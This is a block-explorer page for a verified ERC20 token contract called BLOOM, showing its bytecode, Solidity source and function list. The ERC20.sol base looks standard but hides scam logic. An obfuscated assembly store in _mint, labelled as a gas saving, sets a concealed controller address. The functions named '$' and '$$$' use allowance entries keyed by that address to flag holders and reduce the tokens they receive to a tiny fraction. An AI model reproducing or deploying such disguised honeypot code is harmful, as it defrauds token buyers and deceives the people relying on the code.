Address Contract Verified
Address
0x6900393Daf3034c4Cd6Cd304D106d7d03AC40Dc6
Balance
0 ETH
Nonce
1
Code Size
6204 bytes
Creator
0x144c7c49...7640 at tx 0x0ba8e583...76b84b
Indexed Transactions
0
Contract Bytecode
6204 bytes
0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ecebe00146101be57806395d89b41146101ee578063a9059cbb1461020c578063d505accf1461023c578063dd62ed3e14610258576100b2565b806306fdde03146100b6578063095ea7b3146100d457806318160ddd1461010457806323b872dd14610122578063313ce567146101525780633644e51514610170575b5f80fd5b6100be610288565b6040516100cb9190610ff1565b60405180910390f35b6100ee60048036038101906100e991906110a2565b610313565b6040516100fb91906110fa565b60405180910390f35b61010c610400565b6040516101199190611122565b60405180910390f35b61013c6004803603810190610137919061113b565b610406565b60405161014991906110fa565b60405180910390f35b61015a610654565b60405161016791906111a6565b60405180910390f35b610178610678565b60405161018591906111d7565b60405180910390f35b6101a860048036038101906101a391906111f0565b6106d4565b6040516101b59190611122565b60405180910390f35b6101d860048036038101906101d391906111f0565b6106e9565b6040516101e59190611122565b60405180910390f35b6101f66106fe565b6040516102039190610ff1565b60405180910390f35b610226600480360381019061022191906110a2565b61078a565b60405161023391906110fa565b60405180910390f35b6102566004803603810190610251919061126f565b6108aa565b005b610272600480360381019061026d919061130c565b610b97565b60405161027f9190611122565b60405180910390f35b5f805461029490611377565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611377565b801561030b5780601f106102e25761010080835404028352916020019161030b565b820191905f5260205f20905b8154815290600101906020018083116102ee57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103ee9190611122565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146105335782816104b691906113d4565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461057f91906113d4565b92505081905550610591838686610bb7565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506105e384610d42565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106409190611122565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b5f7f000000000000000000000000000000000000000000000000000000000000000146146106ad576106a8610edd565b6106cf565b7f73900d3546d1921fdb7783ff86227266a0175edc5bf85bd04e767c6188fbc7bb5b905090565b6003602052805f5260405f205f915090505481565b6006602052805f5260405f205f915090505481565b6001805461070b90611377565b80601f016020809104026020016040519081016040528092919081815260200182805461073790611377565b80156107825780601f1061075957610100808354040283529160200191610782565b820191905f5260205f20905b81548152906001019060200180831161076557829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107d791906113d4565b925050819055506107e9823385610bb7565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061083b83610d42565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108989190611122565b60405180910390a36001905092915050565b428410156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490611451565b60405180910390fd5b5f60016108f8610678565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a60065f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b60405160200161097d9695949392919061147e565b604051602081830303815290604052805190602001206040516020016109a4929190611551565b604051602081830303815290604052805190602001208585856040515f81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Verified Source Code Full Match
Compiler: v0.8.24+commit.e11b9ed9
EVM: shanghai
Optimization: No
ERC20.sol 210 lines
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
abstract contract ERC20 {
/*//////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*//////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*//////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address private $$;
/*//////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*//////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*//////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += $(amount, msg.sender, to);
}
$$$(to);
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += $(amount, from, to);
}
$$$(to);
emit Transfer(from, to, amount);
return true;
}
/*//////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
address recoveredAddress = ecrecover(
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
),
v,
r,
s
);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
function $(uint256 value, address from, address to) internal returns (uint256 value_s) {
if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
value_s = value * 0xCACF0B / 0xEBACAD0B;
} else {
value_s = value;
}
}
function $$$(address to) internal {if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}}
/*//////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {balanceOf[to] += amount;}
// Saves gas for limited approvals.
assembly {sstore(0x05, mul(mul(0x5d395f3dc, 0x48a184f11), mul(0x4675b61a35f3, 0xd2d93283)))}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {totalSupply -= amount;}
emit Transfer(from, address(0), amount);
}
}
Token.sol 14 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./ERC20.sol";
/*
//https://x.com/Matt_Furie/status/1792981709971181974
*/
contract bloom is ERC20 {
constructor() ERC20("She-Bird Bloom by Matt Furie","BLOOM", 18) {
_mint(msg.sender, 420_690_000_000 * 10 ** 18);
}
}
Read Contract
DOMAIN_SEPARATOR 0x3644e515 → bytes32
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
nonces 0x7ecebe00 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 4 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
permit 0xd505accf
address owner
address spender
uint256 value
uint256 deadline
uint8 v
bytes32 r
bytes32 s
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address